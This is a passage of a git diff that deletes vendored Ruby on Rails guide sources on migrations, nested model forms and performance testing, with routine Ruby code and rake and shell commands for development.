-The +down+ method of your migration should revert the transformations done by the +up+ method. In other words the database schema should be unchanged if you do an +up+ followed by a +down+. For example if you create a table in the +up+ method you should drop it in the +down+ method. It is wise to do things in precisely the reverse order to in the +up+ method. For example
-
-<ruby>
-class ExampleMigration < ActiveRecord::Migration
-
-  def self.up
-    create_table :products do |t|
-      t.references :category
-    end
-    #add a foreign key
-    execute <<-SQL
-      ALTER TABLE products
-        ADD CONSTRAINT fk_products_categories
-        FOREIGN KEY (category_id)
-        REFERENCES categories(id)
-    SQL
-
-    add_column :users, :home_page_url, :string
-
-    rename_column :users, :email, :email_address
-  end
-
-  def self.down
-    rename_column :users, :email_address, :email
-    remove_column :users, :home_page_url
-    execute "ALTER TABLE products DROP FOREIGN KEY fk_products_categories"
-    drop_table :products
-  end
-end
-</ruby>
-Sometimes your migration will do something which is just plain irreversible, for example it might destroy some data. In cases like those when you can't reverse the migration you can raise +IrreversibleMigration+ from your +down+ method. If someone tries to revert your migration an error message will be
-displayed saying that it can't be done.
-
-
-h3. Running Migrations
-
-Rails provides a set of rake tasks to work with migrations which boils down to running certain sets of migrations. The very first migration related rake task you use will probably be +db:migrate+. In its most basic form it just runs the +up+ method for all the migrations that have not yet been run. If there are no such migrations it exits.
-
-Note that running the +db:migrate+ also invokes the +db:schema:dump+ task, which will update your db/schema.rb file to match the structure of your database.
-
-If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The
-version is the numerical prefix on the migration's filename. For example to migrate to version 20080906120000 run
-
-<shell>
-rake db:migrate VERSION=20080906120000
-</shell>
-
-If this is greater than the current version (i.e. it is migrating upwards) this will run the +up+ method on all migrations up to and including 20080906120000, if migrating downwards this will run the +down+ method on all the migrations down to, but not including, 20080906120000.
-
-h4. Rolling Back
-
-A common task is to rollback the last migration, for example if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run
-
-<shell>
-rake db:rollback
-</shell>
-
-This will run the +down+ method from the latest migration. If you need to undo several migrations you can provide a +STEP+ parameter:
-
-<shell>
-rake db:rollback STEP=3
-</shell>
-
-will run the +down+ method from the last 3 migrations.
-
-The +db:migrate:redo+ task is a shortcut for doing a rollback and then migrating back up again. As with the +db:rollback+ task you can use the +STEP+ parameter if you need to go more than one version back, for example
-
-<shell>
-rake db:migrate:redo STEP=3
-</shell>
-
-Neither of these Rake tasks do anything you could not do with +db:migrate+, they are simply more convenient since you do not need to explicitly specify the version to migrate to.
-
-Lastly, the +db:reset+ task will drop the database, recreate it and load the current schema into it.
-
-NOTE: This is not the same as running all the migrations - see the section on "schema.rb":#schema-dumping-and-you.
-
-h4. Being Specific
-
-If you need to run a specific migration up or down the +db:migrate:up+ and +db:migrate:down+ tasks will do that. Just specify the appropriate version and the corresponding migration will have its +up+ or +down+ method invoked, for example
-
-<shell>
-rake db:migrate:up VERSION=20080906120000
-</shell>
-
-will run the +up+ method from the 20080906120000 migration. These tasks check whether the migration has already run, so for example +db:migrate:up VERSION=20080906120000+ will do nothing if Active Record believes that 20080906120000 has already been run.
-
-h4. Being Talkative
-
-By default migrations tell you exactly what they're doing and how long it took. A migration creating a table and adding an index might produce output like this
-
-<shell>
-20080906170109 CreateProducts: migrating
--- create_table(:products)
-   -> 0.0021s
--- add_index(:products, :name)
-   -> 0.0026s
-20080906170109 CreateProducts: migrated (0.0059s)
-</shell>
-
-Several methods are provided that allow you to control all this:
-
-* +suppress_messages+ suppresses any output generated by its block
-* +say+ outputs text (the second argument controls whether it is indented or not)
-* +say_with_time+ outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.
-
-For example, this migration
-
-<ruby>
-class CreateProducts < ActiveRecord::Migration
-  def self.up
-    suppress_messages do
-      create_table :products do |t|
-        t.string :name
-        t.text :description
-        t.timestamps
-      end
-    end
-    say "Created a table"
-    suppress_messages {add_index :products, :name}
-    say "and an index!", true
-    say_with_time 'Waiting for a while' do
-      sleep 10
-      250
-    end
-  end
-
-  def self.down
-    drop_table :products
-  end
-end
-</ruby>
-
-generates the following output
-
-<shell>
-20080906170109 CreateProducts: migrating
-  Created a table
-   -> and an index!
-  Waiting for a while
-   -> 10.0001s
-   -> 250 rows
-20080906170109 CreateProducts: migrated (10.0097s)
-</shell>
-
-If you just want Active Record to shut up then running +rake db:migrate VERBOSE=false+ will suppress any output.
-
-h3. Using Models in Your Migrations
-
-When creating or updating data in a migration it is often tempting to use one of your models. After all they exist to provide easy access to the underlying data. This can be done but some caution should be observed.
-
-Consider for example a migration that uses the +Product+ model to update a row in the corresponding table. Alice later updates the +Product+ model, adding a new column and a validation on it. Bob comes back from holiday, updates the source and runs outstanding migrations with +rake db:migrate+, including the one that used the +Product+ model. When the migration runs the source is up to date and so the +Product+ model has the validation added by Alice. The database however is still old and so does not have that column and an error ensues because that validation is on a column that does not yet exist.
-
-Frequently I just want to update rows in the database without writing out the SQL by hand: I'm not using anything specific to the model. One pattern for this is to define a copy of the model inside the migration itself, for example:
-
-<ruby>
-class AddPartNumberToProducts < ActiveRecord::Migration
-  class Product < ActiveRecord::Base
-  end
-
-  def self.up
-    ...
-  end
-
-  def self.down
-    ...
-  end
-end
-</ruby>
-The migration has its own minimal copy of the +Product+ model and no longer cares about the +Product+ model defined in the application.
-
-h4. Dealing with Changing Models
-
-For performance reasons information about the columns a model has is cached. For example if you add a column to a table and then try and use the corresponding model to insert a new row it may try and use the old column information. You can force Active Record to re-read the column information with the +reset_column_information+ method, for example
-
-<ruby>
-class AddPartNumberToProducts < ActiveRecord::Migration
-  class Product < ActiveRecord::Base
-  end
-
-  def self.up
-    add_column :product, :part_number, :string
-    Product.reset_column_information
-    ...
-  end
-
-  def self.down
-    ...
-  end
-end
-</ruby>
-
-
-h3. Schema Dumping and You
-
-h4. What are Schema Files for?
-
-Migrations, mighty as they may be, are not the authoritative source for your database schema. That role falls to either +db/schema.rb+ or an SQL file which Active Record generates by examining the database. They are not designed to be edited, they just represent the current state of the database.
-
-There is no need (and it is error prone) to deploy a new instance of an app by replaying the entire migration history. It is much simpler and faster to just load into the database a description of the current schema.
-
-For example, this is how the test database is created: the current development database is dumped (either to +db/schema.rb+ or +db/development.sql+) and then loaded into the test database.
-
-Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations but is all summed up in the schema file. The "annotate_models":http://agilewebdevelopment.com/plugins/annotate_models plugin, which automatically adds (and updates) comments at the top of each model summarising the schema, may also be of interest.
-
-h4. Types of Schema Dumps
-
-There are two ways to dump the schema. This is set in +config/environment.rb+ by the +config.active_record.schema_format+ setting, which may be either +:sql+ or +:ruby+.
-
-If +:ruby+ is selected then the schema is stored in +db/schema.rb+. If you look at this file you'll find that it looks an awful lot like one very big migration:
-
-<ruby>
-ActiveRecord::Schema.define(:version => 20080906171750) do
-  create_table "authors", :force => true do |t|
-    t.string   "name"
-    t.datetime "created_at"
-    t.datetime "updated_at"
-  end
-
-  create_table "products", :force => true do |t|
-    t.string   "name"
-    t.text     "description"
-    t.datetime "created_at"
-    t.datetime "updated_at"
-    t.string   "part_number"
-  end
-end
-</ruby>
-
-In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using +create_table+, +add_index+, and so on. Because this is database independent it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases.
-
-There is however a trade-off: +db/schema.rb+ cannot express database specific items such as foreign key constraints, triggers or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this then you should set the schema format to +:sql+.
-
-Instead of using Active Record's schema dumper the database's structure will be dumped using a tool specific to that database (via the +db:structure:dump+ Rake task) into +db/#{RAILS_ENV}_structure.sql+. For example for PostgreSQL the +pg_dump+ utility is used and for MySQL this file will contain the output of +SHOW CREATE TABLE+ for the various tables. Loading this schema is simply a question of executing the SQL statements contained inside.
-
-By definition this will be a perfect copy of the database's structure but this will usually prevent loading the schema into a database other than the one used to create it.
-
-h4. Schema Dumps and Source Control
-
-Because schema dumps are the authoritative source for your database schema, it is strongly recommended that you check them into source control.
-
-h3. Active Record and Referential Integrity
-
-The Active Record way claims that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database, are not heavily used.
-
-Validations such as +validates_uniqueness_of+ are one way in which models can enforce data integrity. The +:dependent+ option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints.
-
-Although Active Record does not provide any tools for working directly with such features, the +execute+ method can be used to execute arbitrary SQL. There are also a number of plugins such as "redhillonrails":http://agilewebdevelopment.com/plugins/search?search=redhillonrails which add foreign key support to Active Record (including support for dumping foreign keys in +db/schema.rb+).
-
-h3. Changelog
-
-"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/6
-
-* September 14, 2008: initial version by "Frederick Cheung":credits.html#fcheung
diff --git a/vendor/rails/railties/guides/source/nested_model_forms.textile b/vendor/rails/railties/guides/source/nested_model_forms.textile
deleted file mode 100644
index 4b685b21..00000000
--- a/vendor/rails/railties/guides/source/nested_model_forms.textile
+++ /dev/null
@@ -1,222 +0,0 @@
-h2. Rails nested model forms
-
-Creating a form for a model _and_ its associations can become quite tedious. Therefor Rails provides helpers to assist in dealing with the complexities of generating these forms _and_ the required CRUD operations to create, update, and destroy associations.
-
-In this guide you will:
-
-* do stuff
-
-endprologue.
-
-NOTE: This guide assumes the user knows how to use the "Rails form helpers":form_helpers.html in general. Also, it’s *not* an API reference. For a complete reference please visit "the Rails API documentation":http://api.rubyonrails.org/.
-
-
-h3. Model setup
-
-To be able to use the nested model functionality in your forms, the model will need to support some basic operations.
-
-First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The +fields_for+ form helper will look for this method to decide whether or not a nested model form should be build.
-
-If the associated object is an array a form builder will be yielded for each object, else only a single form builder will be yielded.
-
-Consider a Person model with an associated Address. When asked to yield a nested FormBuilder for the +:address+ attribute, the +fields_for+ form helper will look for a method on the Person instance named +address_attributes=+.
-
-h4. ActiveRecord::Base model
-
-For an ActiveRecord::Base model and association this writer method is commonly defined with the +accepts_nested_attributes_for+ class method:
-
-h5. has_one
-
-<ruby>
-class Person < ActiveRecord::Base
-  has_one :address
-  accepts_nested_attributes_for :address
-end
-</ruby>
-
-h5. belongs_to
-
-<ruby>
-class Person < ActiveRecord::Base
-  belongs_to :firm
-  accepts_nested_attributes_for :firm
-end
-</ruby>
-
-h5. has_many / has_and_belongs_to_many
-
-<ruby>
-class Person < ActiveRecord::Base
-  has_many :projects
-  accepts_nested_attributes_for :projects
-end
-</ruby>
-
-h4. Custom model
-
-As you might have inflected from this explanation, you _don’t_ necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behaviour:
-
-h5. Single associated object
-
-<ruby>
-class Person
-  def address
-    Address.new
-  end
-  
-  def address_attributes=(attributes)
-    # ...
-  end
-end
-</ruby>
-
-h5. Association collection
-
-<ruby>
-class Person
-  def projects
-    [Project.new, Project.new]
-  end
-  
-  def projects_attributes=(attributes)
-    # ...
-  end
-end
-</ruby>
-
-NOTE: See (TODO) in the advanced section for more information on how to deal with the CRUD operations in your custom model.
-
-h3. Views
-
-h4. Controller code
-
-A nested model form will _only_ be build if the associated object(s) exist. This means that for a new model instance you would probably want to build the associated object(s) first.
-
-Consider the following typical RESTful controller which will prepare a new Person instance and its +address+ and +projects+ associations before rendering the +new+ template:
-
-<ruby>
-class PeopleController < ActionController:Base
-  def new
-    @person = Person.new
-    @person.built_address
-    2.times { @person.projects.build }
-  end
-  
-  def create
-    @person = Person.new(params[:person])
-    if @person.save
-      # ...
-    end
-  end
-end
-</ruby>
-
-NOTE: Obviously the instantiation of the associated object(s) can become tedious and not DRY, so you might want to move that into the model itself. ActiveRecord::Base provides an +after_initialize+ callback which is a good way to refactor this.
-
-h4. Form code
-
-Now that you have a model instance, with the appropriate methods and associated object(s), you can start building the nested model form.
-
-h5. Standard form
-
-Start out with a regular RESTful form:
-
-<erb>
-<% form_for @person do |f| %>
-  <%= f.text_field :name %>
-<% end %>
-</erb>
-
-This will generate the following html:
-
-<html>
-<form action="/people" class="new_person" id="new_person" method="post">
-  <input id="person_name" name="person[name]" size="30" type="text" />
-</form>
-</html>
-
-h5. Nested form for a single associated object
-
-Now add a nested form for the +address+ association:
-
-<erb>
-<% form_for @person do |f| %>
-  <%= f.text_field :name %>
-  
-  <% f.fields_for :address do |af| %>
-    <%= f.text_field :street %>
-  <% end %>
-<% end %>
-</erb>
-
-This generates:
-
-<html>
-<form action="/people" class="new_person" id="new_person" method="post">
-  <input id="person_name" name="person[name]" size="30" type="text" />
-  
-  <input id="person_address_attributes_street" name="person[address_attributes][street]" size="30" type="text" />
-</form>
-</html>
-
-Notice that +fields_for+ recognized the +address+ as an association for which a nested model form should be build by the way it has namespaced the +name+ attribute.
-
-When this form is posted the Rails parameter parser will construct a hash like the following:
-
-<ruby>
-{
-  "person" => {
-    "name" => "Eloy Duran",
-    "address_attributes" => {
-      "street" => "Nieuwe Prinsengracht"
-    }
-  }
-}
-</ruby>
-
-That’s it. The controller will simply pass this hash on to the model from the +create+ action. The model will then handle building the +address+ association for you and automatically save it when the parent (+person+) is saved.
-
-h5. Nested form for a collection of associated objects
-
-The form code for an association collection is pretty similar to that of a single associated object:
-
-<erb>
-<% form_for @person do |f| %>
-  <%= f.text_field :name %>
-  
-  <% f.fields_for :projects do |pf| %>
-    <%= f.text_field :name %>
-  <% end %>
-<% end %>
-</erb>
-
-Which generates:
-
-<html>
-<form action="/people" class="new_person" id="new_person" method="post">
-  <input id="person_name" name="person[name]" size="30" type="text" />
-  
-  <input id="person_projects_attributes_0_name" name="person[projects_attributes][0][name]" size="30" type="text" />
-  <input id="person_projects_attributes_1_name" name="person[projects_attributes][1][name]" size="30" type="text" />
-</form>
-</html>
-
-As you can see it has generated 2 +project name+ inputs, one for each new +project+ that’s build in the controllers +new+ action. Only this time the +name+ attribute of the input contains a digit as an extra namespace. This will be parsed by the Rails parameter parser as:
-
-<ruby>
-{
-  "person" => {
-    "name" => "Eloy Duran",
-    "projects_attributes" => {
-      "0" => { "name" => "Project 1" },
-      "1" => { "name" => "Project 2" }
-    }
-  }
-}
-</ruby>
-
-You can basically see the +projects_attributes+ hash as an array of attribute hashes. One for each model instance.
-
-NOTE: The reason that +fields_for+ constructed a form which would result in a hash instead of an array is that it won't work for any forms nested deeper than one level deep.
-
-TIP: You _can_ however pass an array to the writer method generated by +accepts_nested_attributes_for+ if you're using plain Ruby or some other API access. See (TODO) for more info and example.
\ No newline at end of file
diff --git a/vendor/rails/railties/guides/source/performance_testing.textile b/vendor/rails/railties/guides/source/performance_testing.textile
deleted file mode 100644
index 320a5b84..00000000
--- a/vendor/rails/railties/guides/source/performance_testing.textile
+++ /dev/null
@@ -1,531 +0,0 @@
-h2. Performance Testing Rails Applications
-
-This guide covers the various ways of performance testing a Ruby on Rails application. By referring to this guide, you will be able to:
-
-* Understand the various types of benchmarking and profiling metrics
-* Generate performance and benchmarking tests
-* Use a GC-patched Ruby binary to measure memory usage and object allocation
-* Understand the benchmarking information provided by Rails inside the log files
-* Learn about various tools facilitating benchmarking and profiling
-
-Performance testing is an integral part of the development cycle. It is very important that you don't make your end users wait for too long before the page is completely loaded. Ensuring a pleasant browsing experience for end users and cutting the cost of unnecessary hardware is important for any non-trivial web application.
-
-endprologue.
-
-h3. Performance Test Cases
-
-Rails performance tests are a special type of integration tests, designed for benchmarking and profiling the test code. With performance tests, you can determine where your application's memory or speed problems are coming from, and get a more in-depth picture of those problems.
-
-In a freshly generated Rails application, +test/performance/browsing_test.rb+ contains an example of a performance test:
-
-<ruby>
-require 'test_helper'
-require 'performance_test_help'
-
-# Profiling results for each test method are written to tmp/performance.
-class BrowsingTest < ActionController::PerformanceTest
-  def test_homepage
-    get '/'
-  end
-end
-</ruby>
-
-This example is a simple performance test case for profiling a GET request to the application's homepage.
-
-h4. Generating Performance Tests
-
-Rails provides a generator called +performance_test+ for creating new performance tests:
-
-<shell>
-script/generate performance_test homepage
-</shell>
-
-This generates +homepage_test.rb+ in the +test/performance+ directory:
-
-<ruby>
-require 'test_helper'
-require 'performance_test_help'
-
-class HomepageTest < ActionController::PerformanceTest
-  # Replace this with your real tests.
-  def test_homepage
-    get '/'
-  end
-end
-</ruby>
-
-h4. Examples
-
-Let's assume your application has the following controller and model:
-
-<ruby>
-# routes.rb
-map.root :controller => 'home'
-map.resources :posts
-
-# home_controller.rb
-class HomeController < ApplicationController
-  def dashboard
-    @users = User.last_ten(:include => :avatars)
-    @posts = Post.all_today
-  end
-end
-
-# posts_controller.rb
-class PostsController < ApplicationController
-  def create
-    @post = Post.create(params[:post])
-    redirect_to(@post)
-  end
-end
-
-# post.rb
-class Post < ActiveRecord::Base
-  before_save :recalculate_costly_stats
-
-  def slow_method
-    # I fire gallzilion queries sleeping all around
-  end
-
-  private
-
-  def recalculate_costly_stats
-    # CPU heavy calculations
-  end
-end
-</ruby>
-
-h5. Controller Example
-
-Because performance tests are a special kind of integration test, you can use the +get+ and +post+ methods in them.
-
-Here's the performance test for +HomeController#dashboard+ and +PostsController#create+:
-
-<ruby>
-require 'test_helper'
-require 'performance_test_help'
-
-class PostPerformanceTest < ActionController::PerformanceTest
-  def setup
-    # Application requires logged-in user
-    login_as(:lifo)
-  end
-
-  def test_homepage
-    get '/dashboard'
-  end
-
-  def test_creating_new_post
-    post '/posts', :post => { :body => 'lifo is fooling you' }
-  end
-end
-</ruby>
-
-You can find more details about the +get+ and +post+ methods in the "Testing Rails Applications":testing.html guide.
-
-h5. Model Example
-
-Even though the performance tests are integration tests and hence closer to the request/response cycle by nature, you can still performance test pure model code.
-
-Performance test for +Post+ model:
-
-<ruby>
-require 'test_helper'
-require 'performance_test_help'
-
-class PostModelTest < ActionController::PerformanceTest
-  def test_creation
-    Post.create :body => 'still fooling you', :cost => '100'
-  end
-
-  def test_slow_method
-    # Using posts(:awesome) fixture
-    posts(:awesome).slow_method
-  end
-end
-</ruby>
-
-h4. Modes
-
-Performance tests can be run in two modes: Benchmarking and Profiling.
-
-h5. Benchmarking
-
-Benchmarking helps find out how fast each performance test runs. Each test case is run +4 times+ in benchmarking mode.
-
-To run performance tests in benchmarking mode:
-
-<shell>
-$ rake test:benchmark
-</shell>
-
-h5. Profiling
-
-Profiling helps you see the details of a performance test and provide an in-depth picture of the slow and memory hungry parts. Each test case is run +1 time+ in profiling mode.
-
-To run performance tests in profiling mode:
-
-<shell>
-$ rake test:profile
-</shell>
-
-h4. Metrics
-
-Benchmarking and profiling run performance tests in various modes described below.
-
-h5. Wall Time
-
-Wall time measures the real world time elapsed during the test run. It is affected by any other processes concurrently running on the system.
-
-Mode: Benchmarking
-
-h5. Process Time
-
-Process time measures the time taken by the process. It is unaffected by any other processes running concurrently on the same system. Hence, process time is likely to be constant for any given performance test, irrespective of the machine load.
-
-Mode: Profiling
-
-h5. Memory
-
-Memory measures the amount of memory used for the performance test case.
-
-Mode: Benchmarking, Profiling "Requires GC Patched Ruby":#installing-gc-patched-ruby
-
-h5. Objects
-
-Objects measures the number of objects allocated for the performance test case.
-
-Mode: Benchmarking, Profiling "Requires GC Patched Ruby":#installing-gc-patched-ruby
-
-h5. GC Runs
-
-GC Runs measures the number of times GC was invoked for the performance test case.
-
-Mode: Benchmarking "Requires GC Patched Ruby":#installing-gc-patched-ruby
-
-h5. GC Time
-
-GC Time measures the amount of time spent in GC for the performance test case.
-
-Mode: Benchmarking "Requires GC Patched Ruby":#installing-gc-patched-ruby
-
-h4. Understanding the Output
-
-Performance tests generate different outputs inside +tmp/performance+ directory depending on their mode and metric.
-
-h5. Benchmarking
-
-In benchmarking mode, performance tests generate two types of outputs:
-
-h6. Command Line
-
-This is the primary form of output in benchmarking mode. Example:
-
-<shell>
-BrowsingTest#test_homepage (31 ms warmup)
-           wall_time: 6 ms
-              memory: 437.27 KB
-             objects: 5514
-             gc_runs: 0
-             gc_time: 19 ms
-</shell>
-
-h6. CSV Files
-
-Performance test results are also appended to +.csv+ files inside +tmp/performance+. For example, running the default +BrowsingTest#test_homepage+ will generate following five files:
-
-* BrowsingTest#test_homepage_gc_runs.csv
-* BrowsingTest#test_homepage_gc_time.csv
-* BrowsingTest#test_homepage_memory.csv
-* BrowsingTest#test_homepage_objects.csv
-* BrowsingTest#test_homepage_wall_time.csv
-
-As the results are appended to these files each time the performance tests are run in benchmarking mode, you can collect data over a period of time. This can be very helpful in analyzing the effects of code changes.
-
-Sample output of +BrowsingTest#test_homepage_wall_time.csv+:
-
-<shell>
-measurement,created_at,app,rails,ruby,platform
-0.00738224999999992,2009-01-08T03:40:29Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0
-0.00755874999999984,2009-01-08T03:46:18Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0
-0.00762099999999993,2009-01-08T03:49:25Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0
-0.00603075000000008,2009-01-08T04:03:29Z,,2.3.0.master.0744148,ruby-1.8.6.111,i686-darwin9.1.0
-0.00619899999999995,2009-01-08T04:03:53Z,,2.3.0.master.0744148,ruby-1.8.6.111,i686-darwin9.1.0
-0.00755449999999991,2009-01-08T04:04:55Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0
-0.00595999999999997,2009-01-08T04:05:06Z,,2.3.0.master.0744148,ruby-1.8.6.111,i686-darwin9.1.0
-0.00740450000000004,2009-01-09T03:54:47Z,,2.3.0.master.859e150,ruby-1.8.6.110,i686-darwin9.0.0
-0.00603150000000008,2009-01-09T03:54:57Z,,2.3.0.master.859e150,ruby-1.8.6.111,i686-darwin9.1.0
-0.00771250000000012,2009-01-09T15:46:03Z,,2.3.0.master.859e150,ruby-1.8.6.110,i686-darwin9.0.0
-</shell>
-
-h5. Profiling
-
-In profiling mode, you can choose from four types of output.
-
-h6. Command Line
-
-This is a very basic form of output in profiling mode:
-
-<shell>
-BrowsingTest#test_homepage (58 ms warmup)
-        process_time: 63 ms
-              memory: 832.13 KB
-             objects: 7882
-</shell>
-
-h6. Flat
-
-Flat output shows the total amount of time spent in each method. "Check ruby prof documentation for a better explanation":http://ruby-prof.rubyforge.org/files/examples/flat_txt.html.
-
-h6. Graph
-
-Graph output shows how long each method takes to run, which methods call it and which methods it calls. "Check ruby prof documentation for a better explanation":http://ruby-prof.rubyforge.org/files/examples/graph_txt.html.
-
-h6. Tree
-
-Tree output is profiling information in calltree format for use by "kcachegrind":http://kcachegrind.sourceforge.net/html/Home.html and similar tools.
-
-h4. Tuning Test Runs
-
-By default, each performance test is run +4 times+ in benchmarking mode and +1 time+ in profiling. However, test runs can easily be configured.
-
-WARNING: Performance test configurability is not yet enabled in Rails. But it will be soon.
-
-h4. Performance Test Environment
-
-Performance tests are run in the +development+ environment. But running performance tests will set the following configuration parameters:
-
-<shell>
-ActionController::Base.perform_caching = true
-ActiveSupport::Dependencies.mechanism = :require
-Rails.logger.level = ActiveSupport::BufferedLogger::INFO
-</shell>
-
-As +ActionController::Base.perform_caching+ is set to +true+, performance tests will behave much as they do in the +production+ environment.
-
-h4. Installing GC-Patched Ruby
-
-To get the best from Rails performance tests, you need to build a special Ruby binary with some super powers - "GC patch":http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch for measuring GC Runs/Time and memory/object allocation.
-
-The process is fairly straightforward. If you've never compiled a Ruby binary before, follow these steps to build a ruby binary inside your home directory:
-
-h5. Installation
-
-Compile Ruby and apply this "GC Patch":http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch.
-
-h5. Download and Extract
-
-<shell>
-[lifo@null ~]$ mkdir rubygc
-[lifo@null ~]$ wget <download the latest stable ruby from ftp://ftp.ruby-lang.org/pub/ruby>
-[lifo@null ~]$ tar -xzvf <ruby-version.tar.gz>
-[lifo@null ~]$ cd <ruby-version>
-</shell>
-
-h5. Apply the Patch
-
-<shell>
-[lifo@null ruby-version]$ curl http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch | patch -p0
-</shell>
-
-h5. Configure and Install
-
-The following will install ruby in your home directory's +/rubygc+ directory. Make sure to replace +<homedir>+ with a full patch to your actual home directory.
-
-<shell>
-[lifo@null ruby-version]$ ./configure --prefix=/<homedir>/rubygc
-[lifo@null ruby-version]$ make && make install
-</shell>
-
-h5. Prepare Aliases
-
-For convenience, add the following lines in your +~/.profile+:
-
-<shell>
-alias gcruby='~/rubygc/bin/ruby'
-alias gcrake='~/rubygc/bin/rake'
-alias gcgem='~/rubygc/bin/gem'
-alias gcirb='~/rubygc/bin/irb'
-alias gcrails='~/rubygc/bin/rails'
-</shell>
-
-h5. Install Rubygems and Dependency Gems
-
-Download "Rubygems":http://rubyforge.org/projects/rubygems and install it from source. Rubygem's README file should have necessary installation instructions.
-
-Additionally, install the following gems:
-
-* +rake+
-* +rails+
-* +ruby-prof+
-* +rack+
-* +mysql+
-
-If installing +mysql+ fails, you can try to install it manually:
-
-<shell>
-[lifo@null mysql]$ gcruby extconf.rb --with-mysql-config
-[lifo@null mysql]$ make && make install
-</shell>
-
-And you're ready to go. Don't forget to use +gcruby+ and +gcrake+ aliases when running the performance tests.
-
-h3. Command Line Tools
-
-Writing performance test cases could be an overkill when you are looking for one time tests. Rails ships with two command line tools that enable quick and dirty performance testing:
-
-h4. +benchmarker+
-
-+benchmarker+ is a wrapper around Ruby's "Benchmark":http://ruby-doc.org/core/classes/Benchmark.html standard library.
-
-Usage:
-
-<shell>
-$ script/performance/benchmarker [times] 'Person.expensive_way' 'Person.another_expensive_way' ...
-</shell>
-
-Examples:
-
-<shell>
-$ script/performance/benchmarker 10 'Item.all' 'CouchItem.all'
-</shell>
-
-If the +[times]+ argument is omitted, supplied methods are run just once:
-
-<shell>
-$ script/performance/benchmarker 'Item.first' 'Item.last'
-</shell>
-
-h4. +profiler+
-
-+profiler+ is a wrapper around http://ruby-prof.rubyforge.org/[ruby-prof] gem.
-
-Usage:
-
-<shell>
-$ script/performance/profiler 'Person.expensive_method(10)' [times] [flat|graph|graph_html]
-</shell>
-
-Examples:
-
-<shell>
-$ script/performance/profiler 'Item.all'
-</shell>
-
-This will profile +Item.all+ in +RubyProf::WALL_TIME+ measure mode. By default, it prints flat output to the shell.
-
-<shell>
-$ script/performance/profiler 'Item.all' 10 graph
-</shell>
-
-This will profile +10.times { Item.all }+ with +RubyProf::WALL_TIME+ measure mode and print graph output to the shell.
-
-If you want to store the output in a file:
-
-<shell>
-$ script/performance/profiler 'Item.all' 10 graph 2> graph.txt
-</shell>
-
-h3. Helper Methods
-
-Rails provides various helper methods inside Active Record, Action Controller and Action View to measure the time taken by a given piece of code. The method is called +benchmark()+ in all the three components.
-
-h4. Model
-
-<ruby>
-Project.benchmark("Creating project") do
-  project = Project.create("name" => "stuff")
-  project.create_manager("name" => "David")
-  project.milestones << Milestone.find(:all)
-end
-</ruby>
-
-This benchmarks the code enclosed in the +Project.benchmark("Creating project") do...end+ block and prints the result to the log file:
-
-<ruby>
-Creating project (185.3ms)
-</ruby>
-
-Please refer to the "API docs":http://api.rubyonrails.org/classes/ActiveRecord/Base.html#M001336 for additional options to +benchmark()+
-
-h4. Controller
-
-Similarly, you could use this helper method inside "controllers":http://api.rubyonrails.org/classes/ActionController/Benchmarking/ClassMethods.html#M000715
-
-<ruby>
-def process_projects
-  self.class.benchmark("Processing projects") do
-    Project.process(params[:project_ids])
-    Project.update_cached_projects
-  end
-end
-</ruby>
-
-NOTE: +benchmark+ is a class method inside controllers
-
-h4. View
-
-And in "views":http://api.rubyonrails.org/classes/ActionController/Benchmarking/ClassMethods.html#M000715:
-
-<erb>
-<% benchmark("Showing projects partial") do %>
-  <%= render :partial => @projects %>
-<% end %>
-</erb>
-
-h3. Request Logging
-
-Rails log files contain very useful information about the time taken to serve each request. Here's a typical log file entry:
-
-<shell>
-Processing ItemsController#index (for 127.0.0.1 at 2009-01-08 03:06:39) [GET]
-Rendering template within layouts/items
-Rendering items/index
-Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items]
-</shell>
-
-For this section, we're only interested in the last line:
-
-<shell>
-Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items]
-</shell>
-
-This data is fairly straightforward to understand. Rails uses millisecond(ms) as the metric to measure the time taken. The complete request spent 5 ms inside Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It's safe to assume that the remaining 3 ms were spent inside the controller.
-
-Michael Koziarski has an "interesting blog post":http://www.therailsway.com/2009/1/6/requests-per-second explaining the importance of using milliseconds as the metric.
-
-h3. Useful Links
-
-h4. Rails Plugins and Gems
-
-* "Rails Analyzer":http://rails-analyzer.rubyforge.org
-* "Palmist":http://www.flyingmachinestudios.com/projects/
-* "Rails Footnotes":http://github.com/josevalim/rails-footnotes/tree/master
-* "Query Reviewer":http://github.com/dsboulder/query_reviewer/tree/master
-
-h4. Generic Tools
-
-* "httperf":http://www.hpl.hp.com/research/linux/httperf/
-* "ab":http://httpd.apache.org/docs/2.2/programs/ab.html
-* "JMeter":http://jakarta.apache.org/jmeter/
-* "kcachegrind":http://kcachegrind.sourceforge.net/html/Home.html
-
-h4. Tutorials and Documentation
-
-* "ruby-prof API Documentation":http://ruby-prof.rubyforge.org
-* "Request Profiling Railscast":http://railscasts.com/episodes/98-request-profiling - Outdated, but useful for understanding call graphs
-
-h3. Commercial Products
-
-Rails has been lucky to have three startups dedicated to Rails specific performance tools:
-
-* "New Relic":http://www.newrelic.com
-* "Fiveruns":http://www.fiveruns.com
-* "Scout":http://scoutapp.com
-
-h3. Changelog
-
